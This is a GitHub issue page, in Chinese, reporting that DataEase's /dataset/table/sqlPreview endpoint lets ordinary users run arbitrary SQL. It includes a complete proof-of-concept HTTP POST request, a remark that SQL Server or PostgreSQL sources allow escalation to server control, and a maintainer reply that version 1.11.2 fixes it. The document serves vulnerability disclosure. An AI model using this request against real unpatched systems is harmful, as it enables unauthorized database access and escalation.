Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
DataEase 版本 最新版
运行方式(安装包运行 or 源码运行 ?) 安装包运行
浏览器版本 任意
Bug 描述 任意SQL代码执行
Bug 重现步骤(有截图更好) 普通权限用户可调用 /dataset/table/sqlPreview 接口。 实现过程中主要需要两个参数:DataSourceId和 sql,dataSourceId可通过查看数据源获取。
POST /dataset/table/sqlPreview HTTP/1.1 Host: xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN Accept-Encoding: gzip, deflate Content-Type: application/json Authorization: xxx LINK-PWD-TOKEN: null Content-Length: 95 Connection: close {"dataSourceId":"76026997-94f9-4a35-96ca-151084638969","info":"{\"sql\":\"select version()\"}"}
若数据源为sql server或postgresql等,可以通过数据库提权获取数据库服务器权限。
The text was updated successfully, but these errors were encountered:
感谢反馈,我们尽快修复。
Sorry, something went wrong.
v1.11.2 已修复,详情请参考:https://github.com/dataease/dataease/releases/tag/v1.11.2
youliyuan-fit2cloud
zyyfit
BBchicken-9527
No branches or pull requests
DataEase 版本
最新版
运行方式(安装包运行 or 源码运行 ?)
安装包运行
浏览器版本
任意
Bug 描述
任意SQL代码执行
Bug 重现步骤(有截图更好)
普通权限用户可调用 /dataset/table/sqlPreview 接口。
实现过程中主要需要两个参数:DataSourceId和 sql,dataSourceId可通过查看数据源获取。
若数据源为sql server或postgresql等,可以通过数据库提权获取数据库服务器权限。
The text was updated successfully, but these errors were encountered: